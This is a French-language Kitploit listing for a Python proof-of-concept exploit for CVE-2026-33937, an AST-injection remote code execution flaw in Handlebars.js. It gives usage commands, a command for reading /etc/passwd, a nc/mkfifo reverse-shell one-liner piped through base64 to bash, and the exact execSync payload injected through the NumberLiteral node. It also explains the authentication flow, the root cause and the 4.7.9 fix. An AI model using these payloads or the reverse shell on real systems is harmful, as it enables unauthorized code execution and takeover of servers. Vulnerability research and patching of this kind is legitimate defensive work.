Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-33937 — POC Python, exploit pour Handlebars.js AST Injection RCE. Les versions 4.0.0 à 4.7.8 de Handlebars.js sont concernées. Score CVSS : 9.8 Critique. | Kitploit
Outils/GitHubGitHub/c0gnit00/cve-2026-33937
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubc0gnit00/cve-2026-33937

CVE-2026-33937

POC Python, exploit pour Handlebars.js AST Injection RCE. Les versions 4.0.0 à 4.7.8 de Handlebars.js sont concernées. Score CVSS : 9.8 Critique.

Voir le dépôt
1il y a 17 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-33937 — Injection d'AST dans Handlebars.js conduisant à une exécution de code

Les versions 4.0.0 à 4.7.8 de Handlebars.js sont concernées. Score CVSS : 9,8 Critique.


Vue d'ensemble

CVE-2026-33937 est une vulnérabilité de confusion de types dans Handlebars.js. La fonction Handlebars.compile() accepte à la fois une chaîne de modèle (template) et un objet AST pré-analysé en entrée. Lorsqu'un attaquant transmet un objet AST malveillant, le visiteur NumberLiteral du compilateur insère le champ value du nœud tel quel dans le corps de la fonction JavaScript générée, sans aucune assainissement. L'appel de render() sur le résultat exécute le code contrôlé par l'attaquant dans le processus Node.js.


Utilisation

root@kitploit:~
python3 exploit.py --url <target>  --username <email> --password <pass> --command  <cmd>

Arguments

  • --url — URL de base de la cible, p. ex. http://hello.veer/ (obligatoire)
  • --username — Adresse e-mail de connexion (obligatoire)
  • --password — Mot de passe de connexion (obligatoire)
  • --command — Commande système à exécuter, par défaut id (facultatif)

Exemples

root@kitploit:~
# Vérifier l'exécution de code (RCE)
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command id

# Lire un fichier
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd'

# Pour obtenir un shell inverse
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <listener_ip> 4444 >/tmp/f' | base64 -w 0

python3 exploit.py --url 'http://hello.veer/' --username 'cognito@veer' --password 'P@ssw0rd@123' --command 'echo <base64_payload>  | base64 -d | bash'

Fonctionnement

Étape 1 — Authentification

Le script effectue une connexion complète avant d'exploiter la vulnérabilité. Il envoie d'abord une requête GET à /login pour récupérer le jeton _csrf caché dans le formulaire, puis soumet ce jeton avec l'adresse e-mail et le mot de passe fournis via un POST codé en formulaire vers /login. En cas de succès, le serveur répond par une redirection 302 vers /dashboard et définit le cookie de session dz.sid utilisé pour toutes les requêtes suivantes.

Un nouveau jeton CSRF est récupéré automatiquement avant chaque requête POST, car le middleware CSRF de l'application en exige un pour chaque opération de modification.

Étape 2 — Point d'injection

L'application expose POST /character qui accepte Content-Type: application/json. Cette route crée un nouveau personnage D&D et, lorsque campaign_id est fourni, transmet le champ campaign_message directement à Handlebars.compile() côté serveur :

root@kitploit:~
// Node.js côté serveur (vulnérable)
const render = Handlebars.compile(campaign_message);  // aucun contrôle de type
const output = render({ name, race, class });          // le payload s'exécute ici
// output est stocké comme entrée de journal de campagne

Lorsque le corps de la requête est au format JSON, campaign_message peut être un objet imbriqué (l'AST) plutôt qu'une chaîne, contournant ainsi toute validation de chaîne au niveau du formulaire. Le champ campaign_id fait en sorte que le serveur stocke le résultat rendu comme message de journal de campagne, lisible ensuite sur GET /campaign/1 — ce qui permet à l'attaquant de récupérer la sortie de commande hors bande.

Étape 3 — Payload AST

L'exploit utilise NumberLiteral combiné avec l'assistant lookup.

La compilation normale de {{lookup this 1}} produit :

root@kitploit:~
env.helpers.lookup(this, 1, {options})

La valeur injectée dans NumberLiteral.value remplace le 1 par :

root@kitploit:~
{},{})) + process.mainModule.require('child_process').execSync('cmd').toString() //

Le code JavaScript généré devient :

root@kitploit:~
env.helpers.lookup(this, {},{}))
+ process.mainModule.require('child_process').execSync('cmd').toString()
// <le reste de l'expression est commenté>

Lorsque render() est appelé, execSync() se déclenche et sa sortie standard (stdout) est renvoyée comme valeur de l'expression, puis stockée comme message de campagne.

Les commandes sont encapsulées en interne avec /bin/sh -c 'cmd 2>&1' afin que les commandes contenant des espaces, des tubes (pipes) et des redirections fonctionnent correctement et que la sortie d'erreur (stderr) soit capturée en même temps que la sortie standard (stdout).

Étape 4 — Extraction de la sortie

Le script enregistre le nombre de messages de campagne avant d'envoyer le payload. Après le POST, il récupère à nouveau /campaign/1 et découpe messages[before_count:] pour isoler l'entrée nouvellement ajoutée. Cette approche gère correctement les cas où la même commande a déjà été exécutée, car une comparaison basée sur un ensemble dédupliquerait les sorties identiques et manquerait le nouveau résultat.


Cause racine technique

Dans javascript-compiler.js de Handlebars.js, le code vulnérable est :

root@kitploit:~
// Versions 4.0.0 à 4.7.8
NumberLiteral(number) {
    this.pushStackLiteral(number.value);  // valeur insérée telle quelle, sans contrôle de type
}

La version 4.7.9 ajoute un contrôle de type au point d'entrée de compile() qui rejette toute entrée non-chaîne avant même que le générateur de code ne soit atteint :

root@kitploit:~
// Corrigé dans la 4.7.9
if (typeof input !== 'string') {
    throw new Handlebars.Exception(
        'You must pass a string or Handlebars AST to Handlebars.compile.'
    );
}

Références

  • PoC CVE-2026-33937 par dinhvaren : https://github.com/dinhvaren/cve-2026-33937
  • Handlebars.js : https://handlebarsjs.com
  • GitHub de Handlebars : https://github.com/handlebars-lang/handlebars.js

Avertissement

Ce dépôt est destiné uniquement à la recherche et à l'éducation en matière de sécurité. N'utilisez cet exploit que contre des systèmes dont vous êtes propriétaire ou pour lesquels vous disposez d'une autorisation écrite explicite de test.

Télécharger l’outil